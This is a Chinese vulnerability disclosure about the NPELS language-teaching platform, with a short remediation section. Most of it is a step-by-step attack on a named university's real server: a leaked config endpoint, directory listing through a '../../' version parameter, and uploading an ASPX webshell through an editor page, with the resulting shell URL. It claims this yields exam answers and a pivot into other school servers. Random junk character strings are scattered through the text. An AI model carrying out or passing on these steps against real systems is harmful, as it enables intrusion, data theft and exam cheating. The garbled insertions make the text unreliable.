新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中
* D; X% @  ^1 m8 I
' g( D6 B( U+ B5 A; o& ?详细说明：
5 w  J9 p( z- }* |& h1 S# Z  h2 h
以南开大学的为例:
http://222.30.60.3/NPELS
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
% H# x" d. q& d6 q/ d3 {" s; ~<setting name="Update_CommonSvr_CommonService" serializeAs="String">
  M8 C" Q3 G; {0 ~8 k<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
4 c: P$ [- L! R</setting>
% c9 |& a8 @  R: G6 t及版本号
0 ]; p' Q9 o6 }/ o0 p$ M4 L<add key="TVersion" value="1, 0, 0, 2187">
</add>
直接访问
8 d7 d6 M- H# Z& P& [$ D) z$ K, Ehttp://222.30.60.3/NPELS/CommonService.asmx
7 B; A6 ^3 s' q2 ?* I使用GetTestClientFileList操作，直接 HTTP GET 列目录：
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
4 F- p9 l2 y+ e! `& i进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../
& ]5 C% P- q, ~
发现
  o/ f  L# j; phttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
  H9 j* G5 s7 K! ^可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
上传后继续列目录找到木马地址直接访问即可

5 U/ O9 {, C' Y; `( l0 y+ _2 eOOXX

Google "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
0 r) P) B- u. @/ x; d# K: Y漏洞证明：
# P9 u, M) D/ X4 r! j# [
列目录：
http://222.30.60.3/NPELS/CommonS ... List?version=../../
4 Y! A* l; r8 j. _8 A文件上传：
3 z. g; K* B6 T. o' `http://222.30.60.3/npelsv/editor/editor.htm
# p. J5 c# _, O! @. u
; A; O: C' O( D( ], y9 |上传木马：
* v6 d) P. i( S7 X* Ihttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
" \2 D$ `1 p4 |4 l
修复方案：
好像考试系统必须使用 CommonService.asmx
最好配置文件加密或者用别的方式不让它泄露出来
' ]) ]6 E$ ?, p% ?6 ^并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​